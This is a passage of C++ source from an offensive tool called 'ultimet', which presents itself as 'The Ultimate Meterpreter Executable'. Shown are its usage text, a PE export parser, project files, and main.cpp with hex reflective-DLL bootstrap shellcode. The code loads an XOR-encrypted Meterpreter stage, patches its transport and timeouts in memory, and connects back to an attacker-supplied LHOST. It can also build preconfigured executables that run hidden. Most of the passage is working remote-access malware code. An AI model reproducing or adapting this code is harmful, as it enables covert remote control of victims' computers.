131 | size_t len = strlen(ascii);
132 | if(len < 1024)
133 | {
134 | int result = MultiByteToWideChar(CP_OEMCP, 0, ascii, -1, unicode, len + 1);
135 | return TRUE;
136 | }
137 | else return FALSE;
138 | }
139 |
140 | bool UnicodeToAnsi(char* ascii, const wchar_t* unicode)
141 | {
142 | int result = WideCharToMultiByte(CP_OEMCP, 0, unicode, -1, ascii, 17, 0, 0);
143 | //int result = MultiByteToWideChar(CP_OEMCP, 0, ascii, -1, unicode, len + 1);
144 | return TRUE;
145 | }
146 |
147 | void print_header()
148 | {
149 | printf("\n****************************************************\n");
150 | printf("[+] [ultimet] - The Ultimate Meterpreter Executable\n");
151 | printf("[+] v0.3\n");
152 | printf("****************************************************\n");
153 | printf(" - http://eldeeb.net - @SheriefEldeeb\n\n");
154 | }
155 |
156 | void usage()
157 | {
158 | printf(
159 | "Usage:\n"
160 | "utlimet.exe -h -p -t [-f FILENAME] [--msfpayload]\n"
161 | " [--remove-stage] [--reset] \n"
162 |
163 | "\nConnection settings:\n"
164 | "\t-h\tLHOST\tIP or a hostname.\n"
165 | "\t-p\tLPORT\tPort number.\"\n"
166 | "\t-t\tTRANSPORT \"reverse_tcp\", \"reverse_metsvc\", \"reverse_http\",\n"
167 | "\t\t\t \"reverse_https\",\"bind_tcp\" or \"bind_metsvc\"\n"
168 |
169 | "\nHTTP(S) Specific settings `optional`:\n"
170 | "\t-ua\tU_AGENT\tUser-Agent, enclose in `\"\"` if contains spaces.\n"
171 | "\t-et\tSECONDS\tSession expiration timeout in seconds.\n"
172 | "\t-ct\tSECONDS\tCommunication expiration timeout in seconds.\n"
173 |
174 | "\nMSFPAYLOAD-like functionality:\n"
175 | "\t--msfpayload\tWhen this is specified along with the connection\n"
176 | "\t\t\tparameters, new exe will be created with the following\n"
177 | "\t\t\tnaming convention:TRANSPORT-LHOST-LPORT.exe, \n"
178 | "\t\t\tthis newly created exe will execute silently according\n"
179 | "\t\t\tto the predefined settings.\n"
180 | "\t\t\t ... it's gonna be just like the exe files you get out\n"
181 | "\t\t\t of msfpayload ... on steroids :)\n"
182 | "\t--reset\t\tA new exe will be created `ultimet_reset.exe` with\n"
183 | "\t\t\tpre-defined settings cleared `undo -> --msfpayload`.\n"
184 |
185 | "\nStage options:\n"
186 | "\t-f\tFILE\tForces loading the stage from a file.\n"
187 | "\t\t\tNote: The file can be a regular metsrv.dll,\n"
188 | "\t\t\tor an encrypted one using the ultimet_xor.exe utility.\n"
189 | "\t--remove-stage\tCreates a new exe `ultimet_no_stage.exe` with stage\n"
190 | "\t\t\tresource removed, it will resut in smaller file, but\n"
191 | "\t\t\tmetsvc family of payloads won't be available.\n"
192 | "\t\t\tTo re-attach the resource ... use a resource editor.\n"
193 |
194 | "\nGeneral notes:\n"
195 | " - If you find the console window disappears immediatly when you run ultimet,\n"
196 | " this means it found valid connection settings built-in, to get rid of this\n"
197 | " behaviour, `ultimet.exe --reset` will create a pristine `ultimet_reset.exe`.\n"
198 | " - The exe file created with `--msfpayload` option is a fully functional\n"
199 | " ultimet.exe, it will run hidden and doesn't require connection parameters\n"
200 | " to be specified since they're preconfigured, to reset that exe to its norm,\n"
201 | " just specify `--reset` and a fresh exe will be created with default settings\n"
202 | " - If you're on a shell [not a console], you have to start the program using:\n"
203 | " \"start /b ultimet.exe ...\" or you'll lose your shell.\n"
204 | " - For the reverse_metsvc & bind_metsvc options, stage has to be available\n"
205 | " upfront, either through the bundled resource or loaded usng the \"-f\" option\n"
206 | " - The most reliable handler for reverse_metsvc is:\n"
207 | " \"windows/metsvc_reverse_tcp\" ... using reverse_metsvc to connect to a\n"
208 | " \"reverse_tcp\" *might* work, but not always, so, use reverse_metsvc with\n"
209 | " windows/metsvc_reverse_tcp ... same applies to bind_metsv.\n"
210 |
211 | "\nAdvanced notes:\n"
212 | " - ultimet utilizes resources to include the stage, and to store connection\n"
213 | " settings internally.\n"
214 | " - The stage `metsvc.dll` is stored in a resource `BINARY` and ID `101`,\n"
215 | " stage can be the plain metsvc.dll file or encrypted using ultimet_xor.exe\n"
216 | " utility.\n"
217 | " - Options are stored in a resource `BINARY` and ID `103` using the following\n"
218 | " convention: `|UM|TRANSPORT|LHOST|LPORT|` <- leave \"|UM|\" as it is since\n"
219 | " it's used inernally, and change connection settings as you like.\n"
220 | " - You can use your favourite resource editor to create/edit those resources as\n"
221 | " you please.\n"
222 | );
223 | };
224 |
225 | DWORD ReflectiveLoaderOffset(DWORD BaseAddress){
226 |
227 | PIMAGE_DOS_HEADER pDosHeader;
228 | PIMAGE_NT_HEADERS pImageHeader;
229 | PIMAGE_EXPORT_DIRECTORY PExportDirectory;
230 |
231 | //DWORD RDLLAddress;
232 |
233 | pDosHeader = (PIMAGE_DOS_HEADER)BaseAddress;
234 | pImageHeader = (PIMAGE_NT_HEADERS)(BaseAddress + pDosHeader->e_lfanew);
235 |
236 | DWORD ExportRVA = pImageHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
237 | PExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(RVAToOffset(pImageHeader,ExportRVA)+BaseAddress);
238 |
239 | PDWORD ExportFunctions = (PDWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfFunctions) + BaseAddress);
240 | PDWORD ExportNames = (PDWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfNames) + BaseAddress);
241 | PWORD ExportOrdinals = (PWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfNameOrdinals) + BaseAddress);
242 |
243 | char *check = nullptr;
244 | char *tempPointer = nullptr;
245 | bool gotcha = false;
246 | DWORD address = 0;
247 | for (DWORD i =0; iNumberOfFunctions; i++) {
248 | //std::cout << (char*)(DWORD*)RVAToOffset(pImageHeader,ExportNames[i]) + BaseAddress << std::endl;
249 | //std::cout << (PDWORD)RVAToOffset(pImageHeader,ExportFunctions[ExportOrdinals[i]]) + BaseAddress << std::endl;
250 | check = ((char*)(DWORD*)RVAToOffset(pImageHeader,ExportNames[i]) + BaseAddress);
251 | tempPointer = strstr(check,"ReflectiveLoader");
252 | if(tempPointer != nullptr && check != nullptr)
253 | {
254 | gotcha = true;
255 | address = (DWORD)RVAToOffset(pImageHeader,ExportFunctions[ExportOrdinals[i]]);
256 | break;
257 | }
258 |
259 | }
260 | if (gotcha)
261 | {
262 | dprintf(L"[*] ReflectiveDll function offset found: 0x%08x\n", address);
263 | return address;
264 | }
265 | else return 0x153e; //hardcoded from original metsrv.dll... we have not tested these functions thoroughly yet.
266 | };
267 |
268 |
269 | DWORD RVAToOffset(IMAGE_NT_HEADERS32 * pNtHdr, DWORD dwRVA)
270 | {
271 | int i;
272 | WORD wSections;
273 | PIMAGE_SECTION_HEADER pSectionHdr;
274 | pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
275 | wSections = pNtHdr->FileHeader.NumberOfSections;
276 | for (i = 0; i < wSections; i++)
277 | {
278 | if (pSectionHdr->VirtualAddress <= dwRVA)
279 | if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA)
280 | {
281 | dwRVA -= pSectionHdr->VirtualAddress;
282 | dwRVA += pSectionHdr->PointerToRawData;
283 | return (dwRVA);
284 | }
285 | pSectionHdr++;
286 | }
287 | return 0;
288 | }
289 |
--------------------------------------------------------------------------------
/inmet/inmet.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/inmet.rc
--------------------------------------------------------------------------------
/inmet/inmet.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}
15 | Win32Proj
16 | inmet
17 | ultimet
18 |
19 |
20 |
21 | Application
22 | true
23 | v120_xp
24 | Unicode
25 |
26 |
27 | Application
28 | false
29 | v120_xp
30 | true
31 | Unicode
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | true
45 |
46 |
47 | false
48 |
49 |
50 |
51 |
52 |
53 | Level3
54 | Disabled
55 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
56 | MultiThreadedDebug
57 | Default
58 | true
59 |
60 |
61 | Console
62 | true
63 | $(OutDir)$(TargetName)$(TargetExt)
64 |
65 |
66 | true
67 |
68 |
69 |
70 |
71 | Level3
72 |
73 |
74 | MinSpace
75 | true
76 | true
77 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | MultiThreaded
79 | Size
80 |
81 |
82 | Console
83 | true
84 | true
85 | true
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/inmet/inmet.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 |
49 |
50 | Resource Files
51 |
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/inmet/main.cpp:
--------------------------------------------------------------------------------
1 | //بسم الله الرحمن الرحيم
2 | /*
3 | Contributors:
4 | - Anwar Mohamed "@anwarelmakrahy"
5 | Added support for metsvc_bind_tcp & bind_tcp.
6 | Added support for run-time parsing and patching of ReflectiveLoader Bootstrap.
7 |
8 | - YOUR NAME HERE...
9 | */
10 |
11 | /************************************************
12 | * [ultimet] *
13 | * The Ultimate Meterpreter Executable *
14 | *************************************************
15 | - @SherifEldeeb
16 | - http://eldeeb.net
17 | - Made in Egypt :)
18 | ************************************************/
19 | /*
20 | Copyright (c) 2013, Sherif Eldeeb "eldeeb.net"
21 | All rights reserved.
22 |
23 | Redistribution and use in source and binary forms, with or without
24 | modification, are permitted provided that the following conditions are met:
25 |
26 | 1. Redistributions of source code must retain the above copyright notice, this
27 | list of conditions and the following disclaimer.
28 | 2. Redistributions in binary form must reproduce the above copyright notice,
29 | this list of conditions and the following disclaimer in the documentation
30 | and/or other materials provided with the distribution.
31 |
32 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
33 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
34 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
35 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
36 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
37 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
38 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
39 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
40 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
41 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
42 |
43 | The views and conclusions contained in the software and documentation are those
44 | of the authors and should not be interpreted as representing official policies,
45 | either expressed or implied, of the FreeBSD Project.
46 | */
47 | #include "main.h"
48 |
49 |
50 | ///////////////////////////
51 | // ReflectiveDLL bootstrap
52 | ///////////////////////////
53 |
54 | char ReflectiveDllBootStrap[] =
55 | "\x4D\x5A\xE8\x00\x00\x00\x00\x5B\x52\x45\x55\x89\xE5\x81\xC3"
56 | "\x00\x00\x00\x00"/* "\x37\x15\x00\x00"*/ //***CHANGE ME***// this is the hardcoded [offset-7] to ReflectiveLoader.
57 | "\xFF\xD3\x89\xC3\x57\x68\x04\x00\x00\x00\x50\xFF\xD0\x68"
58 | "\xE0\x1D\x2A\x0A" // EXITFUNC, this one is ExitThread
59 | /* 'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
60 | 'thread' => 0x0A2A1DE0, # ExitThread
61 | 'process' => 0x56A2B5F0, # ExitProcess
62 | 'none' => 0x5DE2C5AA, # GetLastError*/
63 | "\x68\x05\x00\x00\x00\x50\xFF\xD3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01";
64 | // End of the bootstrap.
65 |
66 |
67 | int wmain(int argc, wchar_t *argv[])
68 | {
69 | PAYLOAD_SETTINGS payload_settings = {0}; // That's defined at main.h
70 | unsigned char* buffer = nullptr; // This will hold the loaded stage
71 | unsigned char* TempBuffer = nullptr; // This will have stuff set-up "like the socket", then the stage will be copied over.
72 | DWORD bufferSize = 0; // buffer length
73 | DWORD StageSize = 0; // if we're using encryption ... stage size = (bufferSize - 16)
74 | DWORD index = 0; // will be used to locate offset of stuff to be patched "transport, the url ... etc."
75 | char EncKey[17] = {0}; // XOR Encryption key
76 | void (*function)() = nullptr; // The casted-to-be-function after we have everything in place.
77 | bool FallbackToStager = false; // If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe.
78 | bool metsvc = false; // Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail.
79 | bool bBind = false; // Are we bind payload?.
80 | bool MSFPAYLOAD = false; // Create a msfpayload-like exe instead of executing?
81 | int err = 0; // Errors
82 | wchar_t UNICODEtransport_2[64] = {0}; // Sorry, I'm out of variable names ...
83 |
84 | //If we will get options from resource
85 | wchar_t UNICODEtransport[64] = {0};
86 | wchar_t UNICODElhost[128] = {0};
87 | wchar_t UNICODElport[32] = {0};
88 |
89 | char ANSItransport[64] = {0};
90 | char ANSIlhost[128] = {0};
91 | char ANSIlport[32] = {0};
92 |
93 | //If "-f" is specified (load stage from local file)
94 | wchar_t StageFilePath[MAX_PATH] = {0}; // If the stage is going to be loaded from a dll file from the filesystem, path will be put here.
95 |
96 | // reverse_metsvc specific Variables
97 | SOCKET ConnectSocket = INVALID_SOCKET; // Socket ... will be used for reverse_metsvc and reverse_tcp
98 |
99 | // HTTP(S) Specific Variables
100 | char url[512] = {0}; //Full URL, 512 bytes are enough.
101 | /*************
102 | Program Start
103 | **************/
104 |
105 | //This will be used later for deciding if we can get options from resource...
106 | BOOL validTransport = false;
107 | if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) //
108 | validTransport = IsThisAValidTransport(UNICODEtransport);
109 |
110 |
111 | ///////////////////////////////// Parsing from command line ///////////////////////////////////
112 | if(argc>1) //Parsing options from resource failed, let's parse options from command line
113 | {
114 | print_header(); // as it sounds...
115 |
116 | // Is `--reset` been given as the first argument?
117 | // if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default
118 | if(wcscmp(argv[1],L"--reset") == 0)
119 | {
120 | dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n");
121 | CopyFile(argv[0],L"ultimet_reset.exe",FALSE);
122 | ResourceOptionsReset();
123 | exit(1);
124 | }
125 |
126 | // Is `--remove-stage` been given as the first argument?
127 | // if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage.
128 | if(wcscmp(argv[1],L"--remove-stage") == 0)
129 | {
130 | dprintf(L"[*] Creating a new file with stage removed... \n");
131 | CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE);
132 | RemoveStage();
133 | exit(1);
134 | }
135 | // Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/"
136 | for (int i = 1; i < argc; i++)
137 | {
138 | if (i != argc) // Check that we haven't finished parsing already
139 | if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter.
140 | payload_settings.TRANSPORT = argv[i + 1];
141 | _wcsupr(payload_settings.TRANSPORT); // Wide-String-to-uppercase
142 | wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload
143 | if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0)
144 | {
145 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
146 | }
147 | else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
148 | {
149 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
150 | metsvc = true;
151 | }
152 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
153 | {
154 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
155 | }
156 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
157 | {
158 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
159 | }
160 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
161 | {
162 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
163 | bBind = true;
164 | }
165 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
166 | {
167 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
168 | metsvc = true;
169 | bBind = true;
170 | }
171 |
172 | else {
173 | dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT);
174 | dprintf(L"\n reverse_https, bind_tcp and bind_metsvc.\n");
175 | exit(1);
176 | }
177 |
178 | // End of Transport checks
179 | } else if (wcscmp(argv[i], L"-h") == 0) { //LHOST
180 | payload_settings.LHOST = argv[i + 1];
181 | } else if (wcscmp(argv[i], L"-p") == 0) { //LPORT
182 | payload_settings.LPORT = argv[i + 1];
183 | } else if (wcscmp(argv[i], L"-ct") == 0) { //SessionCommunicationTimeout in seconds - 300 by default
184 | payload_settings.comm_timeout = _wtoi(argv[i + 1]);
185 | } else if (wcscmp(argv[i], L"-et") == 0) { //SessionExpirationTimeout in seconds - 604800 by default
186 | payload_settings.expiration_timeout = _wtoi(argv[i + 1]);
187 | } else if (wcscmp(argv[i], L"-ua") == 0) { //USER_AGENT
188 | payload_settings.USER_AGENT = argv[i + 1];
189 | } else if (wcscmp(argv[i], L"-f") == 0) { //Should we load the stage from a file rather than from the resource?
190 | wcscpy_s(StageFilePath,argv[i + 1]);
191 | } else if (wcscmp(argv[i], L"--help") == 0) { //Print usage and quit
192 | print_header();
193 | usage();
194 | exit(1);
195 | } else if (wcscmp(argv[i], L"--msfpayload") == 0) { //are we going to mimic msfpayload?
196 | MSFPAYLOAD = true;
197 | }
198 | }
199 | //Do we have the minimum parameters?
200 | if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
201 | {
202 | dprintf(L"[-] Not enough parameters! \n\n");
203 | usage();
204 | exit(1);
205 | } else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource.
206 |
207 | //////////////////////// start of msfpayload //////////////////////////////
208 | if(MSFPAYLOAD) // We will create a new exe with specified options, then exit
209 | {
210 | dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n");
211 | dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2);
212 | dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST);
213 | dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT);
214 |
215 | UnicodeToAnsi(ANSItransport, UNICODEtransport_2);
216 | UnicodeToAnsi(ANSIlhost, payload_settings.LHOST);
217 | UnicodeToAnsi(ANSIlport, payload_settings.LPORT);
218 |
219 | msfpayload(ANSItransport, ANSIlhost, ANSIlport);
220 | //msfpayload will exit ...
221 | }
222 |
223 | ///////////////////////////////// Parsing from resource ///////////////////////////////////
224 | /* Will try to parse options from resource,
225 | this can fail in two ways:
226 | one: if we couldn't read from resource
227 | two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport
228 | So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from.
229 | */
230 | }
231 | else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one.
232 | {
233 | Stealth(); // hide window :)
234 | payload_settings.TRANSPORT = UNICODEtransport;
235 | payload_settings.LHOST = UNICODElhost;
236 | payload_settings.LPORT = UNICODElport;
237 |
238 | //Start of TRANSPORT Checks and adjustments
239 | _wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase
240 | if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0)
241 | {
242 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
243 | }
244 | else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
245 | {
246 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
247 | metsvc = true;
248 | }
249 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
250 | {
251 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
252 | }
253 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
254 | {
255 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
256 | }
257 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
258 | {
259 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
260 | bBind = true;
261 | }
262 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
263 | {
264 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
265 | metsvc = true;
266 | bBind = true;
267 | }
268 | }
269 | // check...
270 | if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
271 | {
272 | dprintf(L"[-] Not enough parameters! \n\n");
273 | print_header();
274 | usage();
275 | exit(1);
276 | }
277 |
278 | //Have we been asked to load the stage from a file?
279 | if(wcscmp(StageFilePath, L"") != 0)
280 | {
281 | dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath);
282 | bufferSize = CopyStageToBuffer(StageFilePath, &buffer);
283 | } else { // If not, We'll try to load the stage from the resource ...
284 |
285 | // Read resource into buffer ...
286 | dprintf(L"[*] Loading stage into memory from resource...\n");
287 | bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer
288 | if (bufferSize == 0) // if something went wrong...
289 | {
290 | FallbackToStager = true; // We will function in "stager" mode.
291 | if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right?
292 | {
293 | dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n");
294 | dprintf(L" sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n");
295 | dprintf(L"[-] ... will exit.\n");
296 | exit(1);
297 | } else
298 | {
299 | dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n");
300 | }
301 | }
302 | }
303 | /*///////////////////////////
304 | /////////////////////////////
305 | Warning! Program split ahead!
306 | /////////////////////////////
307 | /////////////////////////////
308 |
309 | At this given point, we know where the stage is going to be loaded from,
310 | either from resource (default), file or from the multi/handler, which will be handled differently.
311 |
312 | ========
313 | Wrapping up what happened so far:
314 | if(-f specified)
315 | load_stager_from_file
316 | else
317 | load_stage_from_resource
318 |
319 | ---
320 | buffer == stage?;
321 | if (failed?) set FallbackToStager = true;
322 |
323 | if(FallbackToStager){
324 | Act as a "regular" stand-alone meterpreter exe;
325 | populate buffer,
326 | if(tcp) adjust buffer usng ASM voodoo;
327 | } else {
328 | buffer already has the stage,
329 | decrypt it,
330 | patch it,
331 | do your stuff (socket, url building ..etc.)
332 | }
333 | now buffer == stage!!
334 | ((void (*)())buffer)();
335 | _____________________
336 | Ready? let's do it...
337 | */
338 |
339 | if(FallbackToStager)
340 | //--------- Start of "working as a stager" ------------//
341 | {
342 |
343 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport.
344 | {
345 | if(bBind) /* bind_tcp */
346 | StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
347 | else
348 | StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
349 | }
350 |
351 | else
352 | {
353 | StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT);
354 | }
355 | }
356 | //--------- End of "working as a stager" ------------//
357 |
358 |
359 | else //This is where "working as an inline stand-alone exe" stuff starts...
360 | {
361 | //Is the stage encrypted?
362 | if(memcmp(&buffer[0],"MZ",2))
363 | {
364 | dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n");
365 | GetKeyFromBuffer(buffer, EncKey, 16);
366 | printf("[*] \"%s\" will be used; decrypting...\n", EncKey);
367 | XORcrypt(buffer, EncKey, bufferSize);
368 | if(memcmp(&buffer[16],"MZ",2))
369 | {
370 | dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n");
371 | exit(1);
372 | }
373 | dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n");
374 | buffer = buffer + 16;
375 | StageSize = bufferSize - 16;
376 | } else {
377 | dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n");
378 | StageSize = bufferSize;
379 | }
380 |
381 | /////////////////////////////////////////
382 | /****************************************
383 | * Patching Stage in memory. *
384 | ****************************************/
385 | /////////////////////////////////////////
386 |
387 | // Patching transport
388 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport));
389 | if (index == 0) // if the transport is not found ...
390 | {
391 | dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
392 | exit(1);
393 | }
394 | dprintf(L"[*] Patching transport: Offset 0x%08x -> \"%s\"\n", index, payload_settings.TRANSPORT );
395 | PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT));
396 |
397 | // Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar!
398 | index = 0; //rewind
399 |
400 |
401 | DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7;
402 | dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index);
403 | unsigned char AddressChar[4];
404 | memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4); // What the !$#% ... will discuss with anwar those casted-casts...
405 | memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4);
406 |
407 | //for ( unsigned int i=0; i \"%s\"\n", index, payload_settings.USER_AGENT);
430 | PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT));
431 |
432 | //Patching global expiration timeout.
433 | index = 0; //rewind
434 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll
435 | if (index == 0) // if the global_expiration_timeout is not found ...
436 | {
437 | dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
438 | exit(1);
439 | }
440 |
441 | if(payload_settings.expiration_timeout == NULL)
442 | {
443 | dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n");
444 | payload_settings.expiration_timeout = 60400;
445 | }
446 | dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout);
447 | memcpy(&buffer[index], &payload_settings.expiration_timeout, 4);
448 |
449 | //Patching global_comm_timeout.
450 | index = 0; //rewind
451 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll
452 | if (index == 0) // if the global_expiration_timeout is not found ...
453 | {
454 | dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
455 | exit(1);
456 | }
457 |
458 | if(payload_settings.comm_timeout == NULL)
459 | {
460 | dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n");
461 | payload_settings.comm_timeout = 300;
462 | }
463 | dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout);
464 | memcpy(&buffer[index], &payload_settings.comm_timeout, 4);
465 | }
466 |
467 | /*
468 | * Preparing connection...
469 | */
470 | // Are we reverse_metsvc?
